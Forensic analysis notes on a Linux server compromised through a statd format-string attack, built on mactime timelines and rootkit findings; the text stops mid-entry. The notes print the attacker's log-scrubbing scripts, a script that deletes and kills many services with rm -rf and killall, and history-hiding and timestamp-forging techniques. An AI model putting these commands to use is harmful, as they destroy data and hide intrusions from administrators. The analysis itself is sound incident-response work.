This file initially contained the notes I took during analysis. Later I added more comments to give answers to [Q1-7] Please excuse the poor formatting, I only had four evenings to do the analysis and documentation... [Q1] Nov 7 23:11:06 Portscans, portmapper requests 23:11:50 Shellcode attack with several %n in the attack string, looks like format bug attack against statd. A root shell on Port 4545 is added to /etc/inetd.conf; inetd is being restarted. A quick search on the Internet reveals that this type of attack closely matches the statd attack described in http://www.cert.org/advisories/CA-2000-17.html From a technical viewpoint, format bug exploits are very interesting, but due to time limits I can't describe them in detail here. [Q2] The IP address of the attacker belongs to home.com/home.net, so he might be connected via the @Home cable service. This nicely corresponds to a later finding, where the attacker allowe access to the trojaned sshd from root@c871553-b.jffsn1.mo.home.com. [Q3,4,5,6] see below, I give answers while I look through the data generated by tct. Some markers like [Q5] are used multiple times. File system dumps unpacked, mounted under Linux via loop device below /t as suggested in the challenge document. Virgin RH 6.2 server installed via VMware (host only networking). Initial comparison of /bin shows, that the attacked system has a new file there named bx created Feb 8 15:52 which has a suspicious lenght of 1MB. strings bx shows interesting strings, including shell commands. Time for a more systematic approach. tct-1.05 installed. Generation of MAC times via graverobber -m /t gives a 3 MB data directory. [Q7] The following pages contain an analysis of the mactime output, sometimes I have inserted the contents of short, "interesting" files, some comments have been added later after understanding had improved :-) (Sorry for the formatting, I just threw my comments into the mactime output...) mactime 11/6/2000 shows absolutely nothing for Nov 7! The attacker seems to have done very little immediately after his successful breakin, maybe a fully automated attack while the guy was sleeping :-) The inetd restart is invisible, maybe due to a later restart/read operation. Rotation of logs, initiated by cron Nov 08 00 11:02:00 370 .a. -rw-r--r-- root root /t/etc/anacrontab 276 .a. -rwxr-xr-x root root /t/etc/cron.daily/0anacron 77 .a. -rwxr-xr-x root root /t/etc/cron.daily/inn-cron-expire 53 .a. -rwxr-xr-x root root /t/etc/cron.daily/inn-cron-rnews 51 .a. -rwxr-xr-x root root /t/etc/cron.daily/logrotate 542 .a. -rw-r--r-- root root /t/etc/logrotate.conf 494 .a. -rw-r--r-- root root /t/etc/logrotate.d/apache 122 .a. -rw-r--r-- root root /t/etc/logrotate.d/cron 145 .a. -rw-r--r-- root root /t/etc/logrotate.d/linuxconf 114 .a. -rw-r--r-- root root /t/etc/logrotate.d/mars-nwe.log 102 .a. -rw-r--r-- root root /t/etc/logrotate.d/named 227 .a. -rw-r--r-- root root /t/etc/logrotate.d/samba 410 .a. -rw-r--r-- root root /t/etc/logrotate.d/syslog 544 .a. -rw-r--r-- root root /t/etc/logrotate.d/uucp 19568 .a. -rwxr-xr-x root root /t/usr/sbin/anacron 30000 .a. -rwxr-xr-x root root /t/usr/sbin/logrotate 464 mac -rw-r--r-- root root /t/var/lib/logrotate.status Nov 08 00 11:02:02 6796 .a. -rwxr-xr-x root root /t/bin/rmdir 27632 .a. -rwxr-xr-x root root /t/bin/sort This looks like an index run starting, because except from the whatis program only directories are being looked at... 1024 .a. drwxr-xr-x root root /t/boot 12288 .a. drwxr-xr-x root root /t/boot/lost+found 402 .a. -rwxr-xr-x root root /t/etc/cron.daily/makewhatis.cron 4096 .a. drwxr-xr-x root root /t/home 4096 .a. drwxr-xr-x root root /t/home/ftp 4096 .a. d--x--x--x root root /t/home/ftp/bin 4096 .a. d--x--x--x root root /t/home/ftp/etc 4096 .a. drwxr-xr-x root root /t/home/ftp/lib 4096 .a. drwxr-Sr-x root 50 /t/home/ftp/pub 4096 .a. drwxr-xr-x root root /t/home/httpd 4096 .a. drwxr-xr-x root root /t/home/httpd/cgi-bin 4096 .a. drwxr-xr-x root root /t/home/httpd/html 4096 .a. drwxr-xr-x root root /t/home/httpd/html/manual 4096 .a. drwxr-xr-x root root /t/home/httpd/html/manual/mod 16384 .a. drwxr-xr-x root root /t/home/lost+found 12288 .a. drwxr-xr-x root root /t/lost+found 0 mac -rw-r--r-- root root /t/usr/X11R6/man/whatis 54544 .a. -rwxr-xr-x root root /t/usr/bin/find 24272 .a. -rwxr-Sr-x root 21 /t/usr/bin/slocate 11392 .a. -rwxr-xr-x root root /t/usr/bin/uniq 0 mac -rw-r--r-- root root /t/usr/lib/perl5/man/whatis 0 mac -rw-r--r-- root root /t/usr/local/man/whatis 0 mac -rw-r--r-- root root /t/usr/man/whatis 10528 .a. -rwxr-xr-- root root /t/usr/sbin/makewhatis 238767 .a. -rw-r----- root 21 /t/var/lib/slocate/slocate.db 1024 m.c drwxrwxr-x root uucp /t/var/lock Nov 08 00 11:02:03 4096 .a. drwx------ knut 500 /t/home/drosen 4096 .a. drwxr-xr-x root root /t/home/httpd/icons 4096 .a. drwxr-xr-x root root /t/home/httpd/icons/small 4096 .a. drwxr-xr-x root root /t/usr 4096 .a. drwxr-xr-x root root /t/usr/doc 4096 .a. drwxr-xr-x root root /t/usr/doc/ElectricFence-2.1 4096 .a. drwxr-xr-x root root /t/usr/doc/HTML 4096 .a. drwxr-xr-x root root /t/usr/doc/HTML/img 4096 .a. drwxr-xr-x root root /t/usr/doc/SysVinit-2.78 Now comes the interesting part: Comments are below each entry of interest Nov 08 00 15:25:53 2836 .a. -r-xr-xr-x root root /t/usr/bin/uptime interactive query or login message Nov 08 00 15:26:15 0 m.c -rw-r--r-- root root /t/etc/hosts.deny make sure that nothing is being denied by tcpwrappers... Nov 08 00 15:26:51 1024 .a. drwxr-xr-x root root /t/etc/rc.d/init.d Nov 08 00 15:29:27 63728 .a. -rwxr-xr-x root root /t/usr/bin/ftp the attacker transfers his files... Nov 08 00 15:33:42 1024 .a. drwx------ daemon daemon /t/var/spool/at normal atrun(?) Nov 08 00 15:45:18 161 .a. -rw-r--r-- root root /t/etc/hosts.allow 0 .a. -rw-r--r-- root root /t/etc/hosts.deny Nov 08 00 15:45:19 63 .a. -rw-r--r-- root root /t/etc/issue.net Nov 08 00 15:45:24 1504 .a. -rw-r--r-- root root /t/etc/security/console.perms he checks some settings Nov 08 00 15:51:53 4096 .a. drwxr-xr-x 1010 users /t/usr/man/.Ci/ 118 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/ /Anap 83 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/addps 185988 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/find 147900 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/inetd 12495 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/killall 156 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/needz 4096 .a. drwxr-xr-x 1010 users /t/usr/man/.Ci/paki 8524 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/paki/slice2 6793 .a. -rw-r--r-- 1010 users /t/usr/man/.Ci/paki/stream.c 49800 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/pstree 133344 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/q 132785 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/qs 4096 .a. drwxr-xr-x 1010 users /t/usr/man/.Ci/scan 4096 .a. drwxr-xr-x 1010 users /t/usr/man/.Ci/scan/amd 114 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/scan/amd/a.sh 12716 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/scan/amd/amdx 13023 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/scan/amd/ben 1455 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/scan/amd/ben.c 15667 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/scan/amd/pscan 4442 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/scan/amd/pscan.c 4096 .a. drwxr-xr-x 1010 users /t/usr/man/.Ci/scan/bind 1760 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/scan/bind/ibind.sh 3980 .a. -rw-r--r-- 1010 users /t/usr/man/.Ci/scan/bind/pscan.c 4096 .a. drwxr-xr-x 1010 users /t/usr/man/.Ci/scan/daemon 5907 .a. -rw------- 1010 users /t/usr/man/.Ci/scan/daemon/lscan2.c 12392 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/scan/daemon/z0ne 4096 .a. drwxr-xr-x 1010 users /t/usr/man/.Ci/scan/port 4096 .a. drwxr-xr-x 1010 users /t/usr/man/.Ci/scan/port/strobe [Q5] This looks like a vulnerability scanner and a rootkit hidden away in /usr/man/.Ci Please see below for an additional [Q5] markers when program replacements are proven using md5 and rootkit sourcecode is discovered using unrm/Lazarus. Nov 08 00 15:51:54 714 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/a.sh 7229 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/snif Nov 08 00 15:51:55 698 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/clean 147900 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/inetd 12495 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/killall 49800 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/pstree 133344 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/q 132785 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/qs 4096 ..c drwxr-xr-x 1010 users /t/usr/man/.Ci/scan 4096 ..c drwxr-xr-x 1010 users /t/usr/man/.Ci/scan/amd 114 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/scan/amd/a.sh 12716 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/scan/amd/amdx 13023 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/scan/amd/ben 1455 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/scan/amd/ben.c Well, first the files are accessed and then 1 second later changed? Nov 08 00 15:51:56 4096 ..c drwxr-xr-x 1010 users /t/usr/man/.Ci/ 118 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/ /Anap 12408 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/addn 83 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/addps 1052024 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/bx 699 ..c -rwxr-xr-x 1010 users /t/usr/man/.Ci/chmod-it aha, this may have been performed by chmod-it Now it's getting very interesting: Nov 08 00 15:52:09 9 m.c lrwxrwxrwx root root /t/.bash_history -> /dev/null 9 m.c lrwxrwxrwx root root /t/root/.bash_history -> /dev/null he is hiding his traces... Nov 08 00 15:52:10 19840 .a. -rwxr-xr-x root root /t/sbin/ifconfig checking interface config 9 m.c lrwxrwxrwx root root /t/tmp/.bash_history -> /dev/null 60926 .a. -r-xr-xr-x root root /t/usr/bin/top Again hiding and looking over his shoulder 4096 m.c drwxr-xr-x root root /t/usr/games Creating a place for ??? 9 mac lrwxrwxrwx root root /t/usr/games/.bash_history -> /dev/null 4096 mac drwxr-xr-x root root /t/usr/man/.Ci/backup 42736 mac -rwxr-xr-x root root /t/usr/man/.Ci/backup/ifconfig 43024 mac -rwxr-xr-x root root /t/usr/man/.Ci/backup/ls 66736 mac -rwxr-xr-x root root /t/usr/man/.Ci/backup/netstat 60080 mac -r-xr-xr-x root root /t/usr/man/.Ci/backup/ps 23568 mac -rwxr-xr-x root root /t/usr/man/.Ci/backup/tcpd 34896 mac -r-xr-xr-x root root /t/usr/man/.Ci/backup/top 18535 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/fix Fix is used to "correct" the mac-times of the trojaned binaries by calling utimes to set back "m" and "a" values. The call to utimes is surrounded by calls to settimeofday. That way the "c" is corrected "automagically". 26736 .a. -rwxr-xr-x root root /t/usr/sbin/identd 31625 .a. -rwxr-xr-x root root /t/usr/sbin/tcpd identd and tcpwrapper are starting... Nov 08 00 15:52:12 4096 m.c drwxr-xr-x root root /t/usr/man 102 mac -rw-r--r-- root root /t/usr/man/.a 58 mac -rw-r--r-- root root /t/usr/man/.p 58 mac -rw-r--r-- root root /t/usr/man/p 61 m.c -rw-r--r-- root root /t/usr/man/r [Q5] The rootkit creates some administrative data: # cat /t/usr/man/.a 1 63.203 2 63.203 1 209.250 2 209.250 3 113 4 113 3 35350 4 35350 1 216.33 2 216.33 1 63.206 2 63.206 # cat /t/usr/man/.p 2 slice2 2 snif 2 pscan 2 imp 3 qd 2 bs.sh 3 nn 3 egg.lin # cat /t/usr/man/r .tp tcp.log slice2 .p .a .l scan a p addy.awk qd imp .fakeid [Q4] Nov 08 00 15:52:13 7229 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/snif a network sniffer is started 5 mac -rw-r--r-- root root /t/usr/man/.Ci/sniff.pid 0 mac -rw-r--r-- root root /t/usr/man/.Ci/tcp.log and creates two files, one pid file and one logfile Nov 08 00 15:52:14 698 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/clean [Q5] The clean script is provided with the rootkit to wipe out traces in cat /t/usr/man/.Ci/clean echo "echoing ip's and shit" echo "sshd" >> .temp1 echo "log" >> .temp2 echo "games" >> .temp3 echo "209.86" >> .temp4 echo "own" >> .temp5 echo "owned" >> .temp6 echo "Pro" >> .temp7 echo "snif" >> .temp8 echo "ident" >> .temp9 echo "splitrock" >> .temp10 echo "209.255" >> .temp11 echo "echo" >> .temp12 echo "snap'ping" cat .temp1|./snap $1 cat .temp2|./snap $1 cat .temp3|./snap $1 cat .temp4|./snap $1 cat .temp5|./snap $1 cat .temp6|./snap $1 cat .temp7|./snap $1 cat .temp8|./snap $1 cat .temp9|./snap $1 cat .temp10|./snap $1 cat .temp11|./snap $1 cat .temp12|./snap $1 echo "done" rm -rf .temp1 .temp2 .temp3 .temp4 rm -rf .temp5 .temp6 .temp7 .temp8 rm -rf .temp9 .temp10 .temp11 .temp12 or more excactly by the snap script: cat /t/usr/man/.Ci/snap #!/bin/sh echo "Dream Walker dream@sekurity.org" echo "Hey We still can own even if messages is 200 megs =)" echo "Enter your host, leave blank to quit" read host if [ $host ] then while [ $host ] do echo "Editing $host out of /var/log/secure" if [ -e /var/log/secure ] then grep -v $host /var/log/secure > /var/log/tempsec elif [ ! -e /var/log/secure ] then echo "There is no /var/log/secure" fi if [ -e /var/log/secure ] then rm /var/log/secure mv /var/log/tempsec /var/log/secure Nov 08 00 15:52:15 171 ..c -rw-r--r-- 1010 users /t/dev/ptyp This is used by the trojaned ps to know which processes should not be displayed. See also README in rootkit lrk5.tar.gz 714 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/a.sh interesting script: cat /t/usr/man/.Ci/a.sh echo "killing gay shit" rm -rf /usr/sbin/rpc.* /usr/sbin/smbd /usr/sbin/portmap rm -rf /usr/sbin/nmbd /usr/sbin/ypserv /usr/sbin/snmpd rm -rf /sbin/rpc.statd /usr/sbin/atd /usr/sbin/rpc.rquotad rm -rf /usr/sbin/lockd /sbin/lockd rm -rf /usr/sbin/nfsd /usr/bin/nfsd rm -rf /usr/sbin/rpciod /usr/bin/rpciod rm -rf /usr/sbin/smbd /usr/bin/smbd rm -rf /usr/sbin/nmbd /usr/bin/nmbd rm -rf /usr/sbin/apmd /usr/bin/apmd rm -rf /usr/sbin/amd /usr/bin/amd rm -rf /usr/sbin/amq /usr/bin/amq killall -9 rpc.statd rpc.rquoatd atd nfsd killall -9 lockd rpciod smbd nmbd killall -9 amd apmd amq killall -9 rpc.mountd rpc.portmap rpc.nfsd smbd portmap killall -9 nmbd snmpd ypasswd rpc.rusersd killall -9 ypserv echo "complete." Lots of network services are being removed and stopped... Nov 08 00 15:52:25 1024 ..c drwxr-xr-x root root /t/.automount 670 ..c -rw------- root root /t/etc/amd.conf 105 ..c -rw-r----- root root /t/etc/amd.net 766 ..c -rwxr-xr-x root root /t/etc/rc.d/init.d/amd 1024 m.c drwxr-xr-x root root /t/etc/sysconfig 56 ..c -rwxr-xr-x root root /t/etc/sysconfig/amd 8024 ..c -rwxr-xr-x root root /t/usr/bin/pawd 9084 ..c -rw-r--r-- root root /t/usr/doc/am-utils-6.0.1s11/AUTHORS 3933 ..c -rw-r--r-- root root /t/usr/doc/am-utils-6.0.1s11/BUGS 147946 ..c -rw-r--r-- root root /t/usr/doc/am-utils-6.0.1s11/ChangeLog 23786 ..c -rw-r--r-- root root /t/usr/doc/am-utils-6.0.1s11/NEWS 3817 ..c -rw-r--r-- root root /t/usr/doc/am-utils-6.0.1s11/README 4113 ..c -rw-r--r-- root root /t/usr/doc/am-utils-6.0.1s11/README.autofs 1225 ..c -rw-r--r-- root root /t/usr/doc/am-utils-6.0.1s11/README.y2k 621985 ..c -rw-r--r-- root root /t/usr/doc/am-utils-6.0.1s11/am-utils.ps 3201 ..c -rw-r--r-- root root /t/usr/doc/am-utils-6.0.1s11/amd.conf-sample The ..c entries are unclear to me, maybe name changes or ownership changes? Anyway, amd is being installed, as the MD5 comparison will show. I suppose this version of amd contains an exploitable hole. Nov 08 00 15:52:26 59 .a. -rw-r--r-- root root /t/etc/ld.so.conf 233100 .a. -rwxr-xr-x root root /t/sbin/ldconfig ldconfig is being run... 13 .a. lrwxrwxrwx root root /t/usr/X11R6/lib/libICE.so.6 -> libICE.so.6.3 95790 .a. -rwxr-xr-x root root /t/usr/X11R6/lib/libICE.so.6.3 14 .a. lrwxrwxrwx root root /t/usr/X11R6/lib/libPEX5.so.6 -> libPEX5.so.6.0 259072 .a. -rwxr-xr-x root root /t/usr/X11R6/lib/libPEX5.so.6.0 12 .a. lrwxrwxrwx root root /t/usr/X11R6/lib/libSM.so.6 -> libSM.so.6.0 40684 .a. -rwxr-xr-x root root /t/usr/X11R6/lib/libSM.so.6.0 13 .a. lrwxrwxrwx root root /t/usr/X11R6/lib/libX11.so.6 -> libX11.so.6.1 799870 .a. -rwxr-xr-x root root /t/usr/X11R6/lib/libX11.so.6.1 13 .a. lrwxrwxrwx root root /t/usr/X11R6/lib/libXIE.so.6 -> libXIE.so.6.0 54537 .a. -rwxr-xr-x root root /t/usr/X11R6/lib/libXIE.so.6.0 13 .a. lrwxrwxrwx root root /t/usr/X11R6/lib/libXaw.so.6 -> libXaw.so.6.1 272797 .a. -rwxr-xr-x root root /t/usr/X11R6/lib/libXaw.so.6.1 14 .a. lrwxrwxrwx root root /t/usr/X11R6/lib/libXext.so.6 -> libXext.so.6.3 54591 .a. -rwxr-xr-x root root /t/usr/X11R6/lib/libXext.so.6.3 12 .a. lrwxrwxrwx root root /t/usr/X11R6/lib/libXi.so.6 -> libXi.so.6.0 36567 .a. -rwxr-xr-x root root /t/usr/X11R6/lib/libXi.so.6.0 13 .a. lrwxrwxrwx root root /t/usr/X11R6/lib/libXmu.so.6 -> libXmu.so.6.0 91196 .a. -rwxr-xr-x root root /t/usr/X11R6/lib/libXmu.so.6.0 12 .a. lrwxrwxrwx root root /t/usr/X11R6/lib/libXp.so.6 -> libXp.so.6.2 34337 .a. -rwxr-xr-x root root /t/usr/X11R6/lib/libXp.so.6.2 12 .a. lrwxrwxrwx root root /t/usr/X11R6/lib/libXt.so.6 -> libXt.so.6.0 345760 .a. -rwxr-xr-x root root /t/usr/X11R6/lib/libXt.so.6.0 14 .a. lrwxrwxrwx root root /t/usr/X11R6/lib/libXtst.so.6 -> libXtst.so.6.1 22020 .a. -rwxr-xr-x root root /t/usr/X11R6/lib/libXtst.so.6.1 3006 ..c -rw-r--r-- root root /t/usr/doc/am-utils-6.0.1s11/lostaltmail.conf-sample 15625 ..c -rw-r--r-- root root /t/usr/info/am-utils.info-1.gz 15324 ..c -rw-r--r-- root root /t/usr/info/am-utils.info-2.gz 14152 ..c -rw-r--r-- root root /t/usr/info/am-utils.info-3.gz 13984 ..c -rw-r--r-- root root /t/usr/info/am-utils.info-4.gz 15354 ..c -rw-r--r-- root root /t/usr/info/am-utils.info-5.gz 5011 ..c -rw-r--r-- root root /t/usr/info/am-utils.info-6.gz 7086 ..c -rw-r--r-- root root /t/usr/info/am-utils.info-7.gz 2954 ..c -rw-r--r-- root root /t/usr/info/am-utils.info.gz 17 .a. lrwxrwxrwx root root /t/usr/kerberos/lib/libcom_err.so -> libcom_err.so.3.0 6015 .a. -rwxr-xr-x root root /t/usr/kerberos/lib/libcom_err.so.3.0 16 .a. lrwxrwxrwx root root /t/usr/kerberos/lib/libdes425.so -> libdes425.so.3.0 21028 .a. -rwxr-xr-x root root /t/usr/kerberos/lib/libdes425.so.3.0 13 .a. lrwxrwxrwx root root /t/usr/kerberos/lib/libdyn.so -> libdyn.so.1.0 10154 .a. -rwxr-xr-x root root /t/usr/kerberos/lib/libdyn.so.1.0 21 .a. lrwxrwxrwx root root /t/usr/kerberos/lib/libgssapi_krb5.so -> libgssapi_krb5.so.2.1 108060 .a. -rwxr-xr-x root root /t/usr/kerberos/lib/libgssapi_krb5.so.2.1 16 .a. lrwxrwxrwx root root /t/usr/kerberos/lib/libgssrpc.so -> libgssrpc.so.3.0 100458 .a. -rwxr-xr-x root root /t/usr/kerberos/lib/libgssrpc.so.3.0 18 .a. lrwxrwxrwx root root /t/usr/kerberos/lib/libk5crypto.so -> libk5crypto.so.2.1 113850 .a. -rwxr-xr-x root root /t/usr/kerberos/lib/libk5crypto.so.2.1 19 .a. lrwxrwxrwx root root /t/usr/kerberos/lib/libkadm5clnt.so -> libkadm5clnt.so.3.0 77809 .a. -rwxr-xr-x root root /t/usr/kerberos/lib/libkadm5clnt.so.3.0 18 .a. lrwxrwxrwx root root /t/usr/kerberos/lib/libkadm5srv.so -> libkadm5srv.so.3.0 8192 m.c drwxr-xr-x root root /t/usr/lib 15 m.c lrwxrwxrwx root root /t/usr/lib/libamu.so -> libamu.so.2.1.1 15 m.c lrwxrwxrwx root root /t/usr/lib/libamu.so.2 -> libamu.so.2.1.1 40370 ..c -rwxr-xr-x root root /t/usr/lib/libamu.so.2.1.1 3026 ..c -rw-r--r-- root root /t/usr/man/man1/pawd.1 19031 ..c -rw-r--r-- root root /t/usr/man/man5/amd.conf.5 10003 ..c -rw-r--r-- root root /t/usr/man/man8/amd.8 6318 ..c -rw-r--r-- root root /t/usr/man/man8/amq.8 3784 ..c -rw-r--r-- root root /t/usr/man/man8/automount2amd.8 5453 ..c -rw-r--r-- root root /t/usr/man/man8/fixmount.8 2818 ..c -rw-r--r-- root root /t/usr/man/man8/fsinfo.8 9641 ..c -rw-r--r-- root root /t/usr/man/man8/hlfsd.8 2571 ..c -rw-r--r-- root root /t/usr/man/man8/mk-amd-map.8 2806 ..c -rw-r--r-- root root /t/usr/man/man8/wire-test.8 1043 ..c -rwxr-xr-x root root /t/usr/sbin/am-eject 106640 ..c -rwxr-xr-x root root /t/usr/sbin/amd 1392 ..c -rwxr-xr-x root root /t/usr/sbin/amd2ldif looks like ldconfig interleaving with the installation of new amd! Nov 08 00 15:52:32 1176 .ac -rwxr-xr-x root root /t/etc/rc.d/init.d/lpd 13 .ac lrwxrwxrwx root root /t/etc/rc.d/rc0.d/K60lpd -> ../init.d/lpd 13 .ac lrwxrwxrwx root root /t/etc/rc.d/rc1.d/K60lpd -> ../init.d/lpd 13 .ac lrwxrwxrwx root root /t/etc/rc.d/rc2.d/S60lpd -> ../init.d/lpd 13 .ac lrwxrwxrwx root root /t/etc/rc.d/rc3.d/S60lpd -> ../init.d/lpd 13 .ac lrwxrwxrwx root root /t/etc/rc.d/rc5.d/S60lpd -> ../init.d/lpd 13 .ac lrwxrwxrwx root root /t/etc/rc.d/rc6.d/K60lpd -> ../init.d/lpd 3564 ..c -r--r--r-- root root /t/etc/screenrc 1024 m.c drwxr-xr-x root root /t/etc/skel 3394 ..c -rw-r--r-- root root /t/etc/skel/.screenrc 4 .ac lrwxrwxrwx root root /t/usr/bin/gmake -> make 15816 ..c -r-xr-xr-x root lp /t/usr/bin/lpq 15608 ..c -r-xr-xr-x root lp /t/usr/bin/lpr 16248 ..c -r-xr-xr-x root lp /t/usr/bin/lprm 3656 ..c -rwxr-xr-x root root /t/usr/bin/lptest Installation of lpd, 104316 ..c -rwxr-xr-x root root /t/usr/bin/make 4096 m.c drwxr-xr-x root root /t/usr/doc/make-3.77 26571 ..c -rw-r--r-- root root /t/usr/doc/make-3.77/NEWS 2141 ..c -r--r--r-- root root /t/usr/doc/make-3.77/README 2954 .a. -rw-r--r-- root root /t/usr/info/am-utils.info.gz 14727 ..c -rw-r--r-- root root /t/usr/info/make.info-1.gz 1928 ..c -rw-r--r-- root root /t/usr/info/make.info-10.gz 15693 ..c -rw-r--r-- root root /t/usr/info/make.info-2.gz 15515 ..c -rw-r--r-- root root /t/usr/info/make.info-3.gz 15275 ..c -rw-r--r-- root root /t/usr/info/make.info-4.gz 15324 ..c -rw-r--r-- root root /t/usr/info/make.info-5.gz 15459 ..c -rw-r--r-- root root /t/usr/info/make.info-6.gz 14989 ..c -rw-r--r-- root root /t/usr/info/make.info-7.gz 5385 ..c -rw-r--r-- root root /t/usr/info/make.info-8.gz 7253 ..c -rw-r--r-- root root /t/usr/info/make.info-9.gz 2111 .ac -rw-r--r-- root root /t/usr/info/make.info.gz 4650 ..c -rwxr-xr-x root root /t/usr/man/man1/lpq.1 7458 ..c -rw-r--r-- root root /t/usr/man/man1/lpr.1 4633 ..c -rw-r--r-- root root /t/usr/man/man1/lprm.1 2861 ..c -rw-r--r-- root root /t/usr/man/man1/lptest.1 7598 ..c -rw-r--r-- root root /t/usr/man/man1/make.1 7845 ..c -rw-r--r-- root root /t/usr/man/man5/printcap.5 5907 ..c -rw-r--r-- root root /t/usr/man/man8/lpc.8 7422 ..c -rw-r--r-- root root /t/usr/man/man8/lpd.8 3857 ..c -rw-r--r-- root root /t/usr/man/man8/pac.8 24104 ..c -rwxr-Sr-x root lp /t/usr/sbin/lpc 51740 ..c -rwxr--r-- root root /t/usr/sbin/lpd 5140 ..c -rwxr-xr-x root root /t/usr/sbin/lpf 9412 ..c -rwxr--r-- root root /t/usr/sbin/pac 1024 ..c drwxrwxr-x root daemon /t/var/spool/lpd still installation of lpd and make (!) Nov 08 00 15:52:33 2048 m.c drwxr-xr-x root root /t/bin 1052024 .a. -rwxr-xr-x root root /t/bin/bx now bx program is being run. To find out what it does I a ran a test in the virgin vmware rh 6.2 (with virtual hda set to "nonpersistent":-)) It is the bitchx irc client. 1024 m.c drwxr-xr-x root root /t/etc/X11 1024 m.c drwxr-xr-x root root /t/etc/X11/applnk/Internet 1024 mac drwxr-xr-x root root /t/etc/X11/wmconfig 114 ..c -rw-r--r-- root root /t/etc/X11/wmconfig/telnet 13281 mac -rw-r--r-- root root /t/etc/info-dir 1084 .ac -rwxr-xr-x root root /t/etc/rc.d/init.d/yppasswdd 1137 .ac -rwxr-xr-x root root /t/etc/rc.d/init.d/ypserv 1398 ..c -rw-r--r-- root root /t/etc/ypserv.conf 75144 .a. -rwxr-xr-x root root /t/sbin/install-info 236468 ..c -rwxr-xr-x root root /t/usr/bin/screen 64608 ..c -rwxr-xr-x root root /t/usr/bin/telnet 4096 m.c drwxr-xr-x root root /t/usr/doc/screen-3.9.4 14081 ..c -rw-r--r-- root root /t/usr/doc/screen-3.9.4/FAQ 3619 ..c -rw-r--r-- root root /t/usr/doc/screen-3.9.4/NEWS 3437 ..c -rw-r--r-- root root /t/usr/doc/screen-3.9.4/README 6447 ..c -rw-r--r-- root root /t/usr/doc/screen-3.9.4/README.DOTSCREEN 4096 m.c drwxr-xr-x root root /t/usr/doc/ypserv-1.3.9 191 ..c -rw-r--r-- root root /t/usr/doc/ypserv-1.3.9/BUGS 34068 ..c -rw-r--r-- root root /t/usr/doc/ypserv-1.3.9/ChangeLog 6037 ..c -rw-r--r-- root root /t/usr/doc/ypserv-1.3.9/INSTALL 2471 ..c -rw-r--r-- root root /t/usr/doc/ypserv-1.3.9/NEWS 3595 ..c -rw-r--r-- root root /t/usr/doc/ypserv-1.3.9/README 259 ..c -rw-r--r-- root root /t/usr/doc/ypserv-1.3.9/README.etc 2849 ..c -rw-r--r-- root root /t/usr/doc/ypserv-1.3.9/README.secure 286 ..c -rw-r--r-- root root /t/usr/doc/ypserv-1.3.9/TODO 471 ..c -rw-r--r-- root root /t/usr/doc/ypserv-1.3.9/securenets 1398 ..c -rw-r--r-- root root /t/usr/doc/ypserv-1.3.9/ypserv.conf 4096 m.c drwxr-xr-x root root /t/usr/include/rpcsvc 7242 ..c -rw-r--r-- root root /t/usr/include/rpcsvc/ypxfrd.x 8192 m.c drwxr-xr-x root root /t/usr/info 18 .a. lrwxrwxrwx root root /t/usr/info/dir -> ../../etc/info-dir 16094 ..c -rw-r--r-- root root /t/usr/info/screen.info-1.gz 15113 ..c -rw-r--r-- root root /t/usr/info/screen.info-2.gz 16847 ..c -rw-r--r-- root root /t/usr/info/screen.info-3.gz 12505 ..c -rw-r--r-- root root /t/usr/info/screen.info-4.gz 1978 .ac -rw-r--r-- root root /t/usr/info/screen.info.gz 4096 m.c drwxr-xr-x root root /t/usr/lib/yp 1361 ..c -rwxr-xr-x root root /t/usr/lib/yp/create_printcap 12384 ..c -rwxr-xr-x root root /t/usr/lib/yp/makedbm 95 ..c -rwxr-xr-x root root /t/usr/lib/yp/match_printcap 10244 ..c -rwxr-xr-x root root /t/usr/lib/yp/mknetid 2295 ..c -rwxr-xr-x root root /t/usr/lib/yp/pwupdate 10004 ..c -rwxr-xr-x root root /t/usr/lib/yp/revnetgroup 10884 ..c -rwxr-xr-x root root /t/usr/lib/yp/yphelper 4110 ..c -rwxr-xr-x root root /t/usr/lib/yp/ypinit 19272 ..c -rwxr-xr-x root root /t/usr/lib/yp/ypxfr 329 ..c -rwxr-xr-x root root /t/usr/lib/yp/ypxfr_1perday 246 ..c -rwxr-xr-x root root /t/usr/lib/yp/ypxfr_1perhour 260 ..c -rwxr-xr-x root root /t/usr/lib/yp/ypxfr_2perday 129824 ..c -rw-r--r-- root root /t/usr/man/man1/screen.1 32150 ..c -rw-r--r-- root root /t/usr/man/man1/telnet.1 1002 ..c -rw-r--r-- root root /t/usr/man/man5/issue.net.5 1914 ..c -rw-r--r-- root root /t/usr/man/man5/netgroup.5 2739 ..c 